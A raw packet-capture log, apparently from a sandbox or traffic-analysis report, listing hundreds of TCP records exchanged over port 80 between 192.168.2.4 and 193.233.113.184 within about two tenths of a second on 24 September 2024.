Sep 24, 2024 21:30:11.481667995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481667995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481719971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481735945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.481789112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.481790066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482230902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482316017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482330084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482356071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482369900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482395887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482395887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482395887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482395887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482441902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482458115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482472897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482482910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482482910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482487917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.482517004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482517004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.482599974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483135939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483192921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483208895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483232975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483232975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483263016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483280897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483302116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483302116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483381033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483398914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483409882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483424902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.483429909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483469009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.483469009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.562751055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.562824965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.562859058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.562890053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.562890053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.562911987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.562946081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.562947989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.562947989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.562980890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563015938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563029051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563029051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563047886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563070059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563133001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563293934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563350916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563352108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563400030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563402891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563455105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563529015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563561916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563595057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563596010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563628912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563628912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563668013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563668013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563769102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563801050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563828945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563833952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563867092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563883066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563883066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563904047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.563947916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.563947916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564008951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564039946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564074039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564085960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564086914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564126968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564162970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564223051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564241886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564275026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564291954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564352036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564383984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564416885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564455986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564461946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564461946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564490080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564532995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564532995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564682961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564716101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564748049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564750910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564781904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564788103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564788103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564858913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564862967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564893961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.564938068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564938068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.564960003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565057993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565299988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565354109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565382957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565402031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565402031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565431118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565434933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565484047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565515995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565527916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565527916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565551043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565576077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565619946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.565668106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.565668106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566246986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566329956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566365004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566380024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566380024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566428900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566481113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566514015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566545963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566559076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566559076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566581011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566613913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566629887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566629887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566648960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566674948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566715002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566744089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566776037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566808939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566817045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566817045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566843033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566885948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566885948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.566962004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.566996098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567034960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567048073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567446947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567480087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567528963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567531109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567564011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567575932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567575932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567598104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567630053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567646027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567646027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567666054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567701101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567704916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567704916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567735910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567781925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567781925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567804098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567836046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567868948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567886114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567886114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567904949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.567955017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567955017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.567990065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568031073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568063974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568079948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568079948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568140030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568217993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568270922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568303108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568320990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568320990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568367004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568412066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568412066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568419933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568453074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568487883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.568491936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568491936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.568552017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569139004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569191933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569215059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569226027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569258928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569277048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569277048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569292068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569331884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569390059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569411039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569423914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569457054 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569469929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569469929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569631100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569690943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569720030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569753885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569766998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569766998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569806099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569839001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569839001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569873095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569878101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569878101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569907904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.569947958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569947958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.569979906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570033073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570075035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570075035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570085049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570118904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570163965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570163965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570230961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570261955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570291042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570295095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570327997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570333958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570372105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570372105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570888996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570940971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570979118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.570985079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.570985079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571046114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571053982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571069956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571085930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571115971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571115971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571191072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571213007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571225882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571270943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571270943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571712971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571773052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571788073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571818113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571818113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571836948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571844101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571860075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571911097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571911097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.571942091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.571958065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.572002888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.572002888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.572032928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.572134018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.652492046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.652565002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.652620077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.652652979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.652684927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.652712107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.652728081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.652750969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.652766943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.652882099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654304981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654340029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654372931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654413939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654413939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654431105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654494047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654526949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654552937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654560089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654563904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654594898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654629946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654635906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654649019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654663086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654695988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654710054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654710054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654731989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654804945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654838085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654871941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.654880047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654880047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.654983044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655015945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655036926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655045033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655139923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655466080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655534983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655549049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655567884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655601978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655637026 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:11.655653954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655685902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:11.655719042 CEST	80	49730	193.233.113.184	192.168.2.4
